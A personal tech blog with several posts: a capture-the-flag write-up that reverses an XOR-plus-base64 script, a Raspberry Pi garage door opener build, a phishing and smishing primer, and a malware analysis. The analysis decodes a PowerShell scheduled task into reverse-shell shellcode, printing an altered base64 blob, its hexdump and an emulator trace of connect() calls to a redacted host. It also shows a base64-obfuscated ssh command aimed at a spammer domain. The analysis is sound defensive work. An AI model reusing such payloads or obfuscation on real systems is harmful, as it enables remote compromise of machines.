PenguinCoder - Musings of Mayhem

Capture the flag - Encrypted encoding

15 Aug 2022 00:00 +0000

Recently came across a capture the flag exercise that was slightly more involved and pretty fun. I wanted to share my thought process for figuring this out and getting the flag.

Part of this excercise was gaining access to a machine and gaining the ability to run certain/specific commands. That was part one, which was certainly interesting, but I’m only sharing part two, below. This has more applicable blue-team knowledge and was more fun to me than the first part. Part two involved finding a file and ‘decrypting’ the content. After gaining access to the device, the ability to echo out or cat was gained. Attempts to run other commands like ls or sh to gain a shell were unsuccessful given the limited scope and access. BUT having the ability to pass a filename and get the contents echoed back out, was the key. My first recon step was to try and get the output of the users .bash_history, basically a cat ~/.bash_history, which showed the following:

[...]
1975 ~/.encrypt.py
1976 history -d  0-$(($HISTCMD-3))
1977 exit

Since the history doesn’t show it, I presume the .encrypt.py script was uploaded via another undetermined method. Using the method I discovered to show file content, I echoed the contents of the .encrypt.py that was run

.encrypt.py

import base64
import sys
from random import randint

def main(argv):
    stringtoencode = input("Please enter the message to Encrypt:\n")
    randomxorkey = randint(1, 255)

    encodedString=[randomxorkey]
    for b in stringtoencode:
        encodedString.append(ord(b)^randomxorkey)
    with open("encrypted.txt","wb") as enc:
        enc.write((base64.b64encode(bytearray(encodedString))))

if __name__ == "__main__":
   main(sys.argv[1:])

Interesting file… it has no shebang line to say what type of script it is, but looks like a Python script given the file extension, whitespace and imports. Based off that assumption we can tell the with open() statement is writing the following statments/process to a file named encrypted.txt. So, using the previous exploit to read a file, is the flag what’s in encrypted.txt?

encrypted.txt

zLeYpKW/hb+Vo7m+iqCtq7GJoq+jqKWiq5Olv5Oio7iTqaKvvrW8uKWjou0=

Oh boy, that looks like simple enough base64 but no flag format. Alas, trying to decode it as a base64 gives us… absolutely nothing. Nil, no bytearray; nothing. Let’s review the encrypt.py script and try to better understand and decipher more of what it is doing to try and reverse this output.

Explain it to me

Looking at the functions, we see one primary function main() with an argument. The line if __name__ == "__main__": is pythonese to determine if the script execution is being run as the primary/main module. If so, it then executes the code block, in this case the main() function. To main we go! Looks like it sets a few variables first, one of which is the string value supplied by a user executing the script. The script was run without any arguments, then accepted input from the user directly. That type of input doesn’t show up in .bash_history, but we know they ran the script based on the command history and the presence of the output file as defined in the script. There was no arguments passed to the script, but the script itself shows an argument being passed to main() as being the first argument to the script itself. Weird, the bash history didn’t show any arguments being passed. In that case, the argv array would be empty. It doesn’t appear that the parameter passed to main is actually used anywhere else in the function; no idea why it’s there.

After setting a variable to the input from the user, the encrypt.py script sets another variable, randomxorkey to a random value from the 1-255 range. Next, it assignes an array to a different variable, where the first value/element is the randomly chosen integer of randomxorkey. Then a for loop that iterates over the user input string. In python, you can iterate over each character in a string and run some block of code for each character in that string. Strings in python are iterable! Not just arrays/lists/dictionaries. So what is this block of code doing to every character in the input string? I know already that encodedString is an array, so in this loop it is being appended to. What’s being appended is… ord() of the character in the string, with ^ of the randomxorkey value. What is ord() ? What is ^ ?

The Python ord() function converts a given character/string into an integer that represents the Unicode code of the character. ^ is the binary XOR Operator. ^ performs logical XOR on each bit position on the binary representations of integers, which evaluates to 1 if and only if exactly one of the two input bits at the same position are 1. In this script, it is taking the integer value ord() of a character from the input string, and XORing it with the randomxorkey. This resulting changed integer value is appended to the encodedString array. What this shows is that the encrypted.txt file isn’t actually encrypted, it’s encoded! Encoding transforms data into another format using a known reversible scheme so that it can be easily transferred or stored. Encryption is for maintaining data confidentiality and thus the ability to reverse cipher are limited to those who have the known key. We should be able to get plaintext from this without needing a ‘key’, just need to figure out the random XOR value that was used. COULD bruteforce that due to the low range, but lets do it a better way.

Next, the script opens a file handle using the with open() statement and writes the encodedString array to the file. Because of the with statement, Python automatically handles closing the file without an explict close() needed. But, it’s not just writing the encodedString array to the file! It appears to be base64 encoding the array first then writing it to the file. So encrypted.txt is a base64 encoded string. But why wasn’t anything decoded from our earlier attempt? How do we get that plain text back if we don’t actually know the original XOR key? Right, first element isn’t really part of the encodedString. It is the value of the XOR key, the integer that the rest of the characters in the string were XOR’d with. We need to extract that value from the output first, and then use it to decode the rest of the string. The opposite of an XOR is also XOR. By XORing the characters ORD with the XOR value again and converting that to the chr() representation, we should get the plaintext value and thus the inputString/Flag.

Reverse engineering

Here’s what an attempt at reversing that input via my own python script looks like:

#!/usr/bin/python3
import base64, sys
import argparse

parser = argparse.ArgumentParser(description="'Decode' given file")
parser.add_argument('-f', '--file', default='encrypted.txt', help="Path to file to read and decode")
args = parser.parse_args()

def main():
    with open(args.file, "rb") as encfile:
        data = encfile.read().strip()

    b64Bytes = base64.b64decode(data)
    xorValue = int(b64Bytes.hex()[:2], 16)

    encStr = ''.join(chr(int(b) ^ xorValue) for b in b64Bytes)

    print(encStr)

if __name__ == "__main__":
    main()

This script will read in the file passed as an argument or default file of encrypted.txt, and base64 decode it. Again reading the .encrypt.py script, I expect the first two bytes of the array to be the XOR value. Due to the way python handles base64 and written to file, it’ll be in a bytearray form not a plain integer, so we need to read in the first 2 bytes for hex value and convert it to an int in the same base. Converting the bytearray of the base64 input from file to a hex() string for parsing, we then use int(value, 16) to parse that hex value into a base16 INT. Setting that to the xorValue variable, now we can use it to reverse the encoded string back to plaintext. xorValue should now contain the value that was set by the .encrypt.py script for the initial encoding, derived from the encrypted.txt. Next my script does a fancy Pythonese oneliner. The opposite of ord() from the intial .encrypt.py script, is chr(); it takes the integer representation and converts it to a unicode character which in this case should be plaintext. Can’t forget the xorValue! Again, reversing the script and method for my own script and methods. This part of my script does that for loop over the array in oneline, then combines the resulting array into a string value. Finally, printing the end result of the decoded string value. Python is very succint in this manner. Lets run my custom script and see what the result is:

Flag bearer

$ ./flagbearer.py 
{ThisIsYourFlag}Encoding_is_not_encryption!

Sweet! There’s our flag.

Raspberry PI garage door opener - Part 2

20 Nov 2021 00:00 +0000

Project recap

Having completed the hardware portion of this project, I now moved onto the software glue code to get it operational.

Software

Custom golang processing program
- Using GO-RPIO as GPIO interface
SMS gateway - SignalWire
PHP script for web page
Nginx web server

The R-PI

I got a raspberry pi zero W to use for this project. I installed Raspbian Lite as I didn’t need it to be doing much other than ‘listen and interact with GPIO’. You could use a lighter distro here too, but this was one I was comfortable with and did what I need without a fuss. The only change I made after completion of this project, was to change the filesystem to ‘overlay’ or a read-only filesystem. This should save a ton of wear and tear on the R-PI SD CARD and hopefully save it if the power goes out unexpectantly. This had to be done after the programming was completed and setup though. Preferences–>Raspberry Pi Configuration–>Performance–>Overlay File System–Configure… and enable it, reboot.

SMS Gateway

I wanted my wife and family to be able to easily action the opener when needed. This meant quick and painless for them. For me it meant not spending time making a new dedicated app for the phone to do this. I also needed something a non technical person could use without obnoxious steps. Having a publically accessible web page with no authentication as a bookmark also didn’t appeal to me. Adding an extra step with basic auth to just open the garage door via a web page also wouldn’t be ease of use or go over well. So I needed to make it as easy as possible while being secure, to receive commands externally and action the response. We normally always have our phones with us already so I thought to make it SMS based.

After doing some research and looking at options, I decided to use SignalWire for the SMS gateway portion. I’ve used them before for a different project so felt comfortable in their service doing what I needed. Registering for an account and a phone number allows you to send or receive SMS with that number. Using signalwire you can enable the API, create a token and then setup Webhooks that can run when the number receives an SMS. For mine, I pointed it to a web page created just for this which authenticates the request and then sends it to my golang custom processing program to handle. Paying for the number itself and the SMS charges have been about $5 up front, and around $10 a year to maintain a balance. Extremely cost effective for what it enables! If you chose this route, you’ll need a domain name and a web server software running. I already had both, so no issues there.

Web presence handler

After receiving an SMS, Signalwire passes on details according to their API docs. My web server with a public accessible domain is already running, I just needed to write something to handle the requests recieved. For this portion I used PHP as I was already using it for other purposes on the web server and was easy to integrate. The important parts are, authenticate the request, verify it is proper, do something based on the content and then send a reply that we’ve done something.

<?php
//Server variables we expect from signal wire
$isValid = isset($_POST, $_POST['To'], $_POST['From'], $_POST['AccountSid'], $_POST['Body'], $_GET['key']);
$allowedFrom = array('+number','+number');
$allowedTo = array('+signalwire_number');

if (!$isValid || (!in_array($to, $allowedTo) || !in_array($from, $allowedFrom) ||  $sid != "<account sid>" || $key != "<assigned unique key>") {) {
   //If any of the expected server variables or blank, missing, or not correct, exit
   http_response_code(400);
   exit();
}

//[... snip ...]

$randomOpen = array('Welcome home', 'Knock knock!', 'Open Sesame!');
$randomClose = array('Closey Sesame!', 'Closing the door', 'Can\'t go home, but you can\'t stay here. We\'re closed');
$randomPause = array('Don\'t forget to renable later!', 'Alerts paused');

After that is authenticated then we do some additional processing on the text to validate and clean it up (not shown). Here’s the basics of the response to signalwire after processing. doorFunc handles sending the proper command to the golang program listening for it on the r-PI.

<?php
  switch ($verb) {
	case "status":
          echo <<<EOE
          <?xml version="1.0" encoding="UTF-8"?>
           <Response>
            <Message>$currStat and Monitoring is $currMonit</Message>
           </Response>
          EOE;
          break;

	case "open":
            $res = doorFunc("open left");
            
            if ($res >0 ) {
            	echo <<<EOE
                 <?xml version="1.0" encoding="UTF-8"?>
                  <Response>
                   <Message>${msg}
                 ERROR sending the command, try again
                 </Message>
                  </Response>
                 EOE;
           } else {
                  $msg = $randomOpen[rand(0, count($randomOpen) - 1)];
           
                   echo <<<EOE
                     <?xml version="1.0" encoding="UTF-8"?>
                      <Response>
                       <Message>${msg}</Message>
                      </Response>
                     EOE;
                  break;
          }

         default:
              $msg = $randomError[rand(0, count($randomError) - 1)];
              echo <<<EOE
               <?xml version="1.0" encoding="UTF-8"?>
                <Response>
                 <Message>${msg}.
               Valid actions are:
               pause
               unpause
               open <left or right>
               close <left or right>
               status
               </Message>
                </Response>
               EOE;

    }

The same type of logic is done for the right door and for closing both as well. This isn’t the best PHP code in the world, but it does get the job done securely enough for my current needs. I also have monitoring on the PI to tell if any of them are ‘open’ based on the sensor status, after 15 minutes or so. That way in case we forget a door being open alerts get sent and we can then close the door! The pause/unpause are for those alerts. This is handled via monit and gotify for push alerts to our phone. Monit checks the status of the web page (above) and if it parses out that the Left Door or Right Door is open for longer than two checks, it sends off an alert to the Gotify server. Gotify in turn notifies our phones of the situation. If you haven’t looked into either of these tools, I highly recommend them each. Great monitoring capabilities for Linux servers and push notifications for Android phones.

Godor program

For this portion I needed a program capable of not using a ton of memory or resources as it would be running long-term on the R-PI zero. I know python and I know python has some good capabilties with the R-PI and libraries, but I chose to use golang. I wanted to learn more about the language with a useful project and make sure it would be as lightweight as possible without writing C. I settled on a golang program to be able to do the following:

Listen indefinitely for incoming network connections for triggers
Signal the R-PI to trigger appropriately based on keyword triggers
Report back the status of trigger command
Report status of sensors when triggered

This came to be known as Godor. It’s not a difficult program and Golang made it almost trivial to do. The basics of it are thus:

func main() {

	err := rpio.Open()
	if err != nil {
		panic(fmt.Sprint("Unable to open gpio, exiting: %v", err.Error()))
	}


	defer func() {
		rpio.Close()
	}()


	startup()

	listenForConns()

}

func startup() {
	left_pin := rpio.Pin(4)
	left_pin.High()
	left_pin.Output()

	right_pin := rpio.Pin(21)
	right_pin.High()
	right_pin.Output()

	left_pin.PullUp()
	right_pin.PullUp()

	ldoor := rpio.Pin(27)
	ldoor.Input()
	ldoor.PullUp()

	rdoor := rpio.Pin(26)
	rdoor.Input()
	rdoor.PullUp()

}

func listenForConns() {
	ln, err := net.Listen("tcp",":<port>")

	if err != nil {
	    panic(err)
	}

	defer ln.Close()

	fmt.Println("Listening for connections on TCP port <port>")

	for {
		ServerConn, err := ln.Accept()
		if err != nil {
			panic(err)
		}

		go parseInput(ServerConn)

	}


}

// [snip]

	if lsStat == 0 {
		response(conn, "Opening\n")
		pin := rpio.Pin(4)
		pin.Low()
		time.Sleep(time.Second)
		pin.High()
	} else {
		fmt.Println("Attempted to OPEN left door, but it's already opened")
		response(conn, "Opened\n")

This instructs golang to use the rpio library to open connections to the header pins and begin a network listener on the defined port and run the program to parse it in a goroutine. Strictly not needed for such a simple program but I didn’t want it to hang/bottleneck resources for any reason either. The startup function sets the pins based on the GPIO numbers not the BCM physical layout. The left_pin and right_pin are for triggering the relay and thus the garage door opener to toggle. I explicitly set these to output mode as they will be sending a signal to the relay. The ldoor and rdoor are the sensor wires and we change those to an input status, as we’ll only be reading from them not triggering them. The final bit of code is from a larger function called parseinput that the goroutine feeds into. Here, I literally validate and ‘parse’ the input received from the network connection.

I also set the input pin states in the startup() function to pull up. This is so they register correctly as the open/close status for the sensors. In the code below that, I checking the current status of the left door and making sure it is actually closed before trying to trigger an open. This is because I don’t really do any other processing to remember the state of the door being opened or closed and trust the Seco-Larm sensors current reading to determine such. Once that checks out I toggle the gpio pin associated with the relay in order to action it! There are additional handling for the right door and for checking the current status of both. That’s about all there is to the golang program. Listen for incoming network connections, do something with them, and let the network caller know we did something with it.

This code, once tested and compiled, then lives on the R-PI awaiting verified instructions. I use GoReleaser to handle the versioning and making the build process very streamlined. After tagging a release ready to build, and configuring the .goreleaser.yml with the following:

builds:

- env:
  - CGO_ENABLED=0

  goos:
    - linux

  goarch:
    - arm

We push the changes to git and run goreleaser. This makes a changelog and build artifacts for releases of the newer version automatically compiled for the R-PI. Then I copy that over and start it up. I have a systemd service handling the start/stop of the golang program, set to start when the system is booted. That handles a PI restart and hopefully keeps it accessible.

[Unit]
Description=Godor - Garage Door GPIO
StartLimitIntervalSec=1
Wants=network-online.target

[Service]
Type=simple
Restart=always
RestartSec=5
User=godor
Group=godor
WorkingDirectory=/home/godor
ExecStart=/usr/bin/godor

[Install]
WantedBy=default.target

Finale

There it is! Raspberry-PI connected to physical garage door openers, while listening on the network and via SMS for instructions. SMS -> Web -> executable -> physical connections. Much more reliable than the battery operated dongles we had. In the past year of operating, only a few issues but nothing show stopping or major. The major issue currently seems to be when SMS traffic on the network is very high, the Godor SMS won’t be received and thus the physical door not opened or closed. This doesn’t happen often, but as with all network connected applications, it’s something to be wary of and build accordingly for. Mine is a ‘fail-close’ system, so in the case of power outage causing restart or no connection at all, the golang program will trigger a close and keep the garage doors closed. There are a few other failsafes in place but nothing 100% concrete when relying on this sort of setup.

Raspberry PI garage door opener - Part 1

01 Sep 2021 00:00 +0000

I’ve been meaning to write up this post for a year or so, but it’s gotten away from me. This is about a project I created to replace a physical garage door opener, with technology. I’m an avid self-hoster and automation nerd; raspberry-pi’s fit into a lot of projects I do. So I set out to use one as a garage door opener with more control. Sort of self-hosted, do-it-yourself, remotely accessible garage door opener project! This isn’t entirely self-hosted, only about 95% so. But it was definitely a learning experience, a lot of fun, and practical!

I’m not going to explain how to setup the Raspberry PI with an OS or what a GPIO pin is. This is a brain dump on what I did to achieve my project goals.

Project purpose

I was tired of replacing the batteries in our garage door openers and wanted to find a better solution. My goals were to be able to open the garage doors from my phone easily and without third-party subscription based service. Of course I thought about using a raspberry-pi to control the garage doors I have, while being remotely accessible. This led me down a lot of rabbit holes and different levels of connectivity or solutions. You can find a lot of projects through your favorite search engine, but I didn’t want a pre-made solution or one that was tied to a 3rd party vendor at a yearly subscription cost. Although I did review a few of those for ideas and pitfalls, I still wanted to create my own and ideally as fully self-hosted as possible. Because part of the goals of the project were to be remotely accessible and via SMS, I couldn’t rely on a 100% self hosted solution.

The plan to achieve it was thus: Setup and configure a raspberry pi with a base/lite OS. Hook up GPIO pins to a relay to control signal to the garage door opener buttons. Attach a sensor to the garage door to determine if its open or closed, reporting to the r-pi. Ensure the r-pi opener works locally and then configure remote SMS control. The remote SMS based control was crucial to actually have a usable system. This enables the family to open or close the garage door from their phone as needed, instead of finding out the opener battery is dead. Again.

Components

These are the parts I used after researching and planning:

Hardware

1 Raspberry PI Zero W
2 Seco-Larm SM-226L-Q
1 sainsmart two channel DC 5V Relay Module
1 pkg female to female jumper wires
100 ft ²⁰⁄₂ residential bell wire
2 existing Chamberlin garage door openers
wire nuts and electrical tape

Software

Custom golang processing program
SMS gateway - SignalWire
PHP script for web page
Nginx web server

The garage doors themselves, openers and interior garage buttons were already there; didn’t need to buy anything for that! Just a matter of wiring up the PI and relay to the interior buttons.

Setting up the hardware

First things first I had to make sure all the hardware works and install the sensors/wires for them. I chose to install the Seco-Larm SM-226LQ sensors which are closed loop magnetic proximity sensors. Closed loop just means it can signal state without any human intervention or manual input. This is the two wire model, the ground wire and the ‘signaling’ wire that will report the status of the sensor. When the circuit is closed, the sensors are close together. Circuit open/broken and the sensors are farther apart. This translate to the garage door being open (further apart) or closed (closed ciruit).

The sensor came with a metal L bracket that I screwed into the top of the garage door to afix the magnet.

Seco sensor attached to door and frame

Wire attachment and run

The contacts are real close in this picture but you don’t need them so close or even touching. The Seco-Larm can register the circuit change at about two inches apart! After placing the sensors it was just a matter of attaching the wires to the proper places. For the wires coming out of the Seco-Larm, black is the ground, green wire is the one that goes low if the circuit is closed and goes high if it is open. Basically, voltage on or off. I used the ²⁰⁄₂ bell wiring to extend the sensor wires to where they needed to be, ending at the location of where the R-PI will be stationed. Then spliced the wire from the sensors into a f-to-f jumper wire so at the next step I could attach them to the GPIO pins on the pi. Next step was to attach some more bell wire to the interior garage door opener buttons and run them to the 2-channel relay. The relay is what’s actually responsible for triggering the garage door opener after it gets the signal from the pi. One relay goes to the door opener on the left and one goes to the right.

The garage door opener mounted in the garage is easy to remove. On the back not shown are two screws with the existing wires wrapped around them. The new wires just need to be wrapped around the screws and then tightened down. Essentially pigging backing the wires in the same space as the existing wires. In my testing it didn’t matter which one was the red or white wire so I didn’t bother to voltage test. When triggered, as long as the circuit was complete, it works.

Wired up 2-channel relay

Other end of relay wiring into door opener

In this manner, you can still push the interior button to trigger the garage door to open or close while the pi and relay can do the same when told to! The wires in the above image going UP are to the relay, the ones to the left are to the garage door opener itself. Final steps for ths part are to attach the wires from the sensors and relay to the R-PI GPIO pins in the proper locations.

GPIO Pinouts from pinout.xyz

For each of the wires you have to splice them into a female jumper in order to get them attached securely to the RPI. The relay itself needs 5v power from the PI. I used physical pin 2 connected to the power jumper on the relay for this. Next the wires to actual trigger the relay, one for each relay to the board. I used physical pin 7 (GPIO 4) and the ground next to it for one and physical pin 40 (GPIO 21) for the other. I wanted them to be as far apart as possible to prevent crosstalk triggering inadvertently. Then I connected the sensor wires, phyiscal pin 13 and the ground next to it and physical pin 33 and the ground next to it. When referencing the pins from the software it uses the GPIO numbers and not the physical pin numbers. The above image is what I used to cross reference those numbers.

Connecting the wires from the Raspberry Pi to the relay is straightforward as well. Making sure to note wich RPI GPIO is for which ‘side’, connect the other end of the wire into the relay jumper for that door. On the module those signaling jumpers are labeled IN1, and IN2. Then run a wire from the GND on the relay to a Ground pin on the pi and connect the VCC pin to a 5V power pin; I used pin 2 on PI. That’s it! The pi should send power to the relay and signal it properly when the GPIO triggers.

Next time on …

That’s it for the hardware side of things. In the next post I’ll go over the software creation and process of connecting all the pieces together.

Hardware wired up and awaiting input

Obfuscated cG93ZXJzaGVsbA==

10 Dec 2020 00:00 +0000

Powershell; simply obfuscated. That’s all this headline and post is about. Really.

The encoding for the header is base64, which wikipedia defines as:

a group of binary-to-text encoding schemes that represent binary data (more specifically a sequence of 8-bit bytes) in an ASCII string format by translating it into a radix-64 representation

Simply put, this is a method of translating arbritrary data to typeable characters. It is often used to transmit data ‘blobs’ between systems where only typeable characters are allowed, and binary data is not. One of the most widely used implementations is in SMTP, for transferring email attachments. The second is probably for malicious purposes.

Encoding and obfuscation

Since base64 can represent binary data (maybe not entirely efficiently) with ASCII characters, it can be used to obfuscate or hide malicious payloads. Instead of writing exec('ssh randomspammerdomain.com') an attacker could try to obfuscate the command with base64, which becomes ZXhlYygnc3NoIHJhbmRvbXNwYW1tZXJkb21haW4uY29tJyk=. The first can be trivially observed by automated defenses or a human analyst and would be quickly stopped. The second command, you can’t easily tell what it does and likely wouldn’t be able to write automated defenses to stop it. This is because base64 is again, an ASCII text encoding (typically, keyboard typeable characters) representation.

Simple string matching signatures would create too many false positives or stop legitimate script executions. NOTE: Entropy or heurestic based analysis is a different solution. Base64 is reversiable and in fact is trivial to reverse. It is not encryption, and it’s not a one-way hash. The problem that base64 is trying to solve, isn’t to hide sensitive data or make it unrecoverable. Malicious actors use it for obfuscation, just a way to hide the payloads from detection, or to get complex data transmitted to another system.

Maliciousness

A friend came to me recently asking if I could look at his old computer. He had put it up a few years ago when he purchased a newer better one, because this old one was running slow. Now, he was looking to gift the computer to a younger relative, but wanted to fix it first. Simple fix of course would be entirely wipe the machine and re-install an OS. We both wanted to know why it was running slow though, so I started poking around on it. The TLDR version is, it had some malware on it! Well, a lot of malware and malicious items, but I wanted to focus on this one for a write up.

Looking over some of the autoruns services and scheduled tasks, I noticed a seemingly randomly named task WdHJ3Z3vTR with the following (slightly altered) payload to execute on boot:

WOAH! Now that surely isn’t a legitimate use of powershell! But, what is it doing and how?

It’s starting a commandline process and passing arguments in to startup a powershell interpreter. Then there’s a whole mess commands passing high entropy string to be executed. High entropy by itself doesn’t mean the code is malicious, but here’s a few things about this that standout particularly:

powershell arguments for -noni -nop -w hidden -c run a command in a hidden window, non interactively, and not loading profile scripts
System.IO.StreamReader(New-Object System.IO.Compression.GzipStream create a stream reader from a GZIP compressed input
System.IO.MemoryStream load the following into memory stream, don’t write it to disk
[System.Convert]::FromBase64String input is in encoded format, base64 string
UseShellExecute =False execute the command as it’s own process

With all of these combined aspects, you can be pretty sure we have some maliciousness going on

Deobfuscation of powershell, on Linux

First

“WAIT!”, I hear some people saying… I thought this blog was about Linux, why are you talking about powershell? Well, it’s also about information security and how I’ve overcome particular problems I’ve encountered. So we’re going to dissect this problem on the command line.

First, we need to take that base64string from the scheduled task and decode it. On the Linux command line, use your favorite text editor and write the base64string to a file. Then, use the base64 -d <file> command to unencode.

$ base64 -d task_b64 > decoded

If you try and view the decoded file now, it’ll be a mess of characters that don’t make any sense and likely mess up your terminal. That’s fine.. just type reset and press enter. This happens because the decoded stream is data, not text! Looking at the task again for hints, we need to take into account another part: System.IO.Compression.GzipStream. The decoded base64 string gets passed into a GZIP object, and decompressed. On the cli, lets test that with the following command:

$ file decoded
decoded: gzip compressed data, last modified: <snip>

This confirms it is gzip compressed, though doesn’t tell us if it’s actually valid. Lets try and decompress it further and take a look.

Second

$ gunzip < decoded > secondstage
$ vim secondstage

Here we see the next payload in the collection; more powershell and more interesting. There’s a lot to unpack here, literally, so lets start with some of the most interesting sections:

seemingly random function names non descriptive, obfuscation attempts
another base64 encoded string, converted to a byte array variable, [Byte[]]$aN
various calls to kernel32.dll, including calling a VirtualAlloc from the byte array $aN variable
loading the base64 decoded string to memory and executing there
pipes all STDOUT to null

At this point, if you’re trying to follow along on Windows, your anti-virus is likely going crazy. This is known bad. What we have here, is a so called fileless malware, with multiple layers of obfuscation. This is certainly nothing new, powershell redteam/attack frameworks like Empire, powersploit and metasploit, have been doing this for a while. But we’re not quite done with running this down yet. Let’s keep digging at the remainder.

After dissecting this Matryoshka doll, we know the payload is executing something. Using the same previous steps for decoding base64, lets find out what it is executing.

Third

Extract out the FromBase64String and then decode it to a file:

$ echo -n "/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixBAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vgHSoKaKaVvZ3/1TwGfAqA++B1BbtHE3JvagBT/9U=" | base64 -d > thirdstage
$ file thirdstage
thirdstage: data

Hmmm. That doesn’t tell us much so let’s try another tool hexdump:

$ hexdump -Cv thirdstage

00000000  fc e8 82 00 00 00 60 89  e5 31 c0 64 8b 50 30 8b  |......`..1.d.P0.|
00000010  52 0c 8b 52 14 8b 72 28  0f b7 4a 26 31 ff ac 3c  |R..R..r(..J&1..<|
00000020  61 7c 02 2c 20 c1 cf 0d  01 c7 e2 f2 52 57 8b 52  |a|., .......RW.R|
00000030  10 8b 4a 3c 8b 4c 11 78  e3 48 01 d1 51 8b 59 20  |..J<.L.x.H..Q.Y |
00000040  01 d3 8b 49 18 e3 3a 49  8b 34 8b 01 d6 31 ff ac  |...I..:I.4...1..|
00000050  c1 cf 0d 01 c7 38 e0 75  f6 03 7d f8 3b 7d 24 75  |.....8.u..}.;}$u|
00000060  e4 58 8b 58 24 01 d3 66  8b 0c 4b 8b 58 1c 01 d3  |.X.X$..f..K.X...|
00000070  8b 04 8b 01 d0 89 44 24  24 5b 5b 61 59 5a 51 ff  |......D$$[[aYZQ.|
00000080  e0 5f 5f 5a 8b 10 40 00  00 6a 00 50 68 0b 2f 0f  |.__Z..@..j.Ph./.|
00000090  30 ff d5 57 68 75 6e 4d  61 ff d5 5e 5e ff 0c 24  |0..WhunMa..^^..$|
000000a0  0f 85 70 ff ff ff e9 9b  ff ff ff 01 c3 29 c6 75  |..p..........).u|
000000b0  c1 c3 bb e0 1d 2a 0a 68  a6 95 bd 9d ff d5 3c 06  |.....*.h......<.|
000000c0  7c 0a 80 fb e0 75 05 bb  47 13 72 6f 6a 00 53 ff  ||....u..G.roj.S.|
000000d0  d5                                                |.|
000000d1

That’s looking a little scarier… Like I said before, there’s a few red team frameworks that can be used to create payloads. In this hexdump, “fc e8 82 00 00 00” on the first line is a very common metasploit header for Windows shellcode. It’s not a 100% given at this point, but it is definitely an interesting find. This decoded blob is likely some shellcode payload, but we still can’t see what it’s doing. We’re going to need some additional tools.

Intermission, scdbg

Analyzing shellcode is pretty annoying and difficult. For 90% of the cases out there for windows that is not entirely custom written and target specific shellcode, there is SCDBG. It uses the libemu toolkit to emulate a Windows shellcode executions. There are other and more advanced tools out there like Unicorn Engine, but this will serve just fine. If you don’t already have scdbg, you’ll need to git it and build it.

That process on a Debian based system looks like this:

apt-get install libemu-dev libtool git
git clone git://github.com/dzzie/SCDBG.git
cd SCDBG
autoreconf -v -i
./configure --prefix=/opt/libemu; make install

When I tried this process, I had the following errors.
Makefile:496: recipe for target 'libemu.la' failed

Which is actually from libtool:
../libtool: eval: line 1720: syntax error near unexpected token|`

Right above that error line there is the actual command causing this error:
| | /bin/sed 's/.* //' | sort | uniq

It appears like there is a command or something missing from the pipes before the sed command. You can’t “double pipe” in bash. A workaround for this is to edit libtool file that is created after the autoreconf. If you search the file for sort | uniq, you’ll find a line starting with export_symbols_cmds, that is causing this. The syntax error is caused by the environment variable $global_symbol_pipe not being set. Edit the libtool file and remove that and the extra | symbol, and save the file. Now, you should be able to run make install and have it build successfully

ACT II

Now that we have scdbg built and working, lets take a look at our shellcode blob with it. Run the command scdbf -f thirdstage and we see the final payload:

$ scdbg -f thirdstage
Loaded 16a bytes from file thirdstage
Initilization Complete..
Max Steps: 200000
Using base offset: 0x401000

40109d  LoadLibraryA(ws2_32)
4010ca  WSASocket(2, 1, 0)
4010d6  connect(h=4711, host: X.X.X.X  , port: XXXX )
4010d6  connect(h=4711, host: X.X.X.X  , port: XXXX )
4010d6  connect(h=4711, host: X.X.X.X  , port: XXXX )
4010d6  connect(h=4711, host: X.X.X.X  , port: XXXX )
4010d6  connect(h=4711, host: X.X.X.X  , port: XXXX )

Stepcount 200001

The IP address and port are redacted here but they’re not important. What’s important is that we did successfully decode the Windows shellcode, and can tell what it is trying to do. In this instance, it is attempting to create a socket connection over TCP to the stated IP address and port. This is a classic reverse shell attempt, with shellcode, encoded to base64 in multiple layers. If the payload was successful in evading detection and then running on boot (as the scheduled task was designed to do), an attacker would be rewarded with full command line access to the infected machine.

Bash-fu

You can try getting this all done at once (if you already have scdbg installed) by using a one-liner:

cat task_b64 | base64 -d | gunzip | grep "FromBase64String" | cut -d\" -f2 | base64 -d | scdbg -S

Conclusion

I’m confident that we discovered the ‘how and what’ of what this particular piece of malware was doing. We didn’t discover the why, or find out the root cause of the infection. For the purpose of understanding the dissection of the obfuscated Powershell, we did succeed though! The process detailed here is how I went about understanding what exactly was going on with this payload, through Linux command line.

This wasn’t the only malicious piece of software on the computer, just the most interesting one that was found. After all this to satiate curiosity, we just reloaded a clean and known good operating system. Crisis averted and a younger relative can now enjoy the joys of computing.

Additional reading

SANS ISC Blog - Fileless PowerShell
SCDBG

Base64 encoded text and hexcode/shellcode intentionally altered to reduce risk

Phishing, Smishing

25 Jun 2020 00:00 +0000

Phishing

Everyone has dealt with this email annoyance. According to knowbe4, Phishing is the process of attempting to acquire sensitive information such as usernames, passwords and credit card details by masquerading as a trustworthy entity using bulk email which tries to evade spam filters.

Some scammer in Nigeria sends an email that looks like this:

Then, some poor soul invariably clicks the ‘click here’ link, which leads to a spoofed login page. They enter their credentials into the adversary owned domain because it ‘looks the same’. If they’re unlucky enough, it will be a work email account. Even worse, if they reused the same password and somewhere else. This is your standard low hanging fruit credential harvesting phish. It’s used often, because it works.

Enter, a standard level of protection, two-factor or multi-factor authentication. I’m not going to go into the specific differences, but suffice to say, it involves ‘something you know’ (your password) and ‘something you have’ (some type of uniquely generated token/identifier). There are a lot of issues with using SMS (text message) as two-factor auth. Techniques to bypass this protection includes SIM Swapping or an overzealous login based on targeted spear-phishing. One such tool that helps enable this type of two-factor auth bypass pishing, is Modlishka. Modlishka can easily bypass two factor authentication running on Gmail, YahooMail, RadiffMail, Facebook etc and catch the credentials like username, password, two factor authentication token.

Smishing

Smishing is a portmanteau of “SMS” (short message services, better known as texting) and “phishing.” While not directly related to the above two-factor authentication bypass, Smishing is a growing portion of fraudulent communications; there’s just not as many protections around SMS, as there is for email. Smishing simply uses text messages as the delivery for a lure instead of email.

As more and more people use their personal smartphones for work (a trend called BYOD, or “bring your own device”) smishing is becoming a business threat as well as a consumer threat. So it should come as no surprise that smishing has been on the rise.

Examples of Smishing

Most people know something of the risks of email fraud and learned, through training, to be suspicious of emails that say “click this link”. Bonus points if it is a generic content email, without any actual personal message from the supposed sender. Users are generally less wary when it somes to text messages, and there are less protections on a mobile device.

